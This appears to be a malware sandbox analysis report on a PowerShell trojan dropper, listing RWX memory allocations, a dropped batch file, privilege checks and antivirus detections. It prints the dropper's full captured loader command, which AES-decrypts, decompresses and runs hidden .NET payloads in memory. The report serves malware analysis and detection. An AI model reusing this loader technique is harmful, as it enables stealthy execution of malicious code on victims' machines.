NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05317000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05318000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05319000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0531a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0531b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0531c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0531d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0531e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 18, 2024, 11:06 a.m.	process_identifier: 2824 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0531f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\TfTatticasupdater.bat

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline

C:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('ChVO1+OS14WL1QUy/flynTXrlSOhgp9SBTxTD/evU9c='); $aes_var.IV=[System.Convert]::FromBase64String('DrXQO2PcC7l+n4nK5t3A3w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vmUPQ=New-Object System.IO.MemoryStream(,$param_var); $BuLGM=New-Object System.IO.MemoryStream; $WgbCU=New-Object System.IO.Compression.GZipStream($vmUPQ, [IO.Compression.CompressionMode]::Decompress); $WgbCU.CopyTo($BuLGM); $WgbCU.Dispose(); $vmUPQ.Dispose(); $BuLGM.Dispose(); $BuLGM.ToArray();}function execute_function($param_var,$param2_var){ $FCyIR=[System.Reflection.Assembly]::Load([byte[]]$param_var); $KsCoS=$FCyIR.EntryPoint; $KsCoS.Invoke($null, $param2_var);}$wrlhT = 'C:\Users\test22\AppData\Local\Temp\TfTatticasupdater.bat';$host.UI.RawUI.WindowTitle = $wrlhT;$oaQMV=[System.IO.File]::ReadAllText($wrlhT).Split([Environment]::NewLine);foreach ($eJDDT in $oaQMV) { if ($eJDDT.StartsWith('nsiwjFslDvZfvwXwOXvp')) { $DoMTi=$eJDDT.Substring(20); break; }}$payloads_var=[string[]]$DoMTi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "

cmdline

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW July 18, 2024, 11:06 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\TfTatticasupdater.bat

One or more non-whitelisted processes were created (2 events)

parent_process	powershell.exe				martian_process	C:\Users\test22\AppData\Local\Temp\TfTatticasupdater.bat
parent_process	powershell.exe				martian_process	"C:\Users\test22\AppData\Local\Temp\TfTatticasupdater.bat"

File has been identified by 22 AntiVirus engines on VirusTotal as malicious (22 events)

Lionic	Trojan.Script.Generic.4!c
Skyhigh	BehavesLike.PS.Dropper.tn
ALYac	Trojan.GenericKD.73504802
VIPRE	Trojan.GenericKD.73504802
Arcabit	Trojan.Generic.D4619822
Symantec	Trojan.Gen.NPE
ESET-NOD32	PowerShell/TrojanDropper.Agent.AIZ
Avast	Script:SNH-gen [Drp]
BitDefender	Trojan.GenericKD.73504802
MicroWorld-eScan	Trojan.GenericKD.73504802
Rising	Dropper.Agent/PS!8.111A0 (TOPIS:E0:j4I20MLcdmP)
Emsisoft	Trojan.GenericKD.73504802 (B)
FireEye	Trojan.GenericKD.73504802
Sophos	Troj/PSDrop-JB
Ikarus	Trojan-Dropper.PowerShell.Agent
Google	Detected
Kingsoft	Win32.Troj.Undef.a
Microsoft	Trojan:Win32/Casdet!rfn
GData	Script.Trojan.Agent.ER7T8Z
AhnLab-V3	Downloader/PowerShell.Agent.SC199538
MAX	malware (ai score=89)
AVG	Script:SNH-gen [Drp]

bin.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All